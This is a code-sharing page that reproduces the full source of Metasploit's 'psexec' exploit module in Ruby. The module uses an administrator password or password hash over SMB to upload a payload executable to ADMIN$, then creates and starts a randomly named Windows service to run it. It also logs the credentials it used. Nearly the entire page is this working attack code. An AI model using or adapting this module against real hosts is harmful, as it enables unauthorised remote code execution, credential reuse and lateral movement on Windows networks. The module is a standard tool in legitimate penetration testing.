扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 |
## # $Id: psexec.rb 11204 2010-12-02 17:29:26Z todb $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## =begin Windows XP systems that are not part of a domain default to treating all network logons as if they were Guest. This prevents SMB relay attacks from gaining administrative access to these systems. This setting can be found under: Local Security Settings > Local Policies > Security Options > Network Access: Sharing and security model for local accounts =end require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB include Msf::Exploit::Remote::SMB::Authenticated include Msf::Auxiliary::Report include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows Authenticated User Code Execution', 'Description'=> %q{ This module uses a valid administrator username and password (or password hash) to execute an arbitrary payload. This module is similar to the "psexec" utility provided by SysInternals. Unfortunately, this module is not able to clean up after itself. The service and payload file listed in the output will need to be manually removed after access has been gained. The service created by this tool uses a randomly chosen name and description, so the services list can become cluttered after repeated exploitation. }, 'Author' => [ 'hdm', ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 11204 $', 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 10, 'EXITFUNC' => 'process' }, 'References' => [ [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default) [ 'OSVDB', '3106'], [ 'URL', 'http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx' ] ], 'Payload'=> { 'Space'=> 2048, 'DisableNops'=> true, 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets'=> [ [ 'Automatic', { } ], ], 'DefaultTarget'=> 0, # For the CVE, PsExec was first released around February or March 2001 'DisclosureDate' => 'Jan 01 1999' )) register_advanced_options( [ OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true]) ], self.class) end def exploit print_status("Connecting to the server...") connect() print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") smb_login() if (not simple.client.auth_user) print_line(" ") print_error( "FAILED! The remote host has only provided us with Guest privileges. " + "Please make sure that the correct username and password have been provided. " + "Windows XP systems that are not part of a domain will only provide Guest privileges " + "to network logins by default." ) print_line(" ") disconnect return end if datastore['DB_REPORT_AUTH'] report_hash = { :host => datastore['RHOST'], :port => datastore['RPORT'], :sname => 'smb', :user => datastore['SMBUser'], :pass => datastore['SMBPass'], :active => true } if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ report_hash.merge!({:type => 'smb_hash'}) else report_hash.merge!({:type => 'password'}) end report_auth_info(report_hash) end filename = rand_text_alpha(8) + ".exe" servicename = rand_text_alpha(8) # Upload the shellcode to a file print_status("Uploading payload...") simple.connect("ADMIN$") fd = simple.open("\\#{filename}", 'rwct') exe = '' opts = { :servicename => servicename } if (datastore['PAYLOAD'].include? 'x64') opts.merge!({ :arch => ARCH_X64 }) end exe = generate_payload_exe_service(opts) fd << exe fd.close print_status("Created \\#{filename}...") # Disconnect from the ADMIN$ simple.disconnect("ADMIN$") # Connect to the IPC service simple.connect("IPC$") # Bind to the service handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") ## # OpenSCManagerW() ## print_status("Obtaining a service manager handle...") scm_handle = nil stubdata = NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) begin response = dcerpc.call(0x0f, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) scm_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("Error: #{e}") return end ## # CreateServiceW() ## displayname = 'M' + rand_text_alpha(rand(32)+1) svc_handle= nil svc_status= nil print_status("Creating a new service (#{servicename} - \"#{displayname}\")...") stubdata = scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + NDR.long(0x0F01FF) + # Access: MAX NDR.long(0x00000110) + # Type: Interactive, Own process NDR.long(0x00000003) + # Start: Demand NDR.long(0x00000000) + # Errors: Ignore NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path NDR.long(0) + # LoadOrderGroup NDR.long(0) + # Dependencies NDR.long(0) + # Service Start NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0)# Password begin response = dcerpc.call(0x0c, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) svc_handle = dcerpc.last_response.stub_data[0,20] svc_status = dcerpc.last_response.stub_data[24,4] end rescue ::Exception => e print_error("Error: #{e}") return end ## # CloseHandle() ## print_status("Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception end ## # OpenServiceW ## print_status("Opening service...") begin stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) response = dcerpc.call(0x10, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) svc_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("Error: #{e}") return end ## # StartService() ## print_status("Starting the service...") stubdata = svc_handle + NDR.long(0) + NDR.long(0) begin response = dcerpc.call(0x13, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) end rescue ::Exception => e print_error("Error: #{e}") return end ## # DeleteService() ## print_status("Removing the service...") stubdata = svc_handle begin response = dcerpc.call(0x02, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) end rescue ::Exception => e print_error("Error: #{e}") end ## # CloseHandle() ## print_status("Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception => e print_error("Error: #{e}") end begin print_status("Deleting \\#{filename}...") select(nil, nil, nil, 1.0) simple.connect("ADMIN$") simple.delete("\\#{filename}") rescue ::Interrupt raise $! rescue ::Exception end handler disconnect end end |
体验盒子
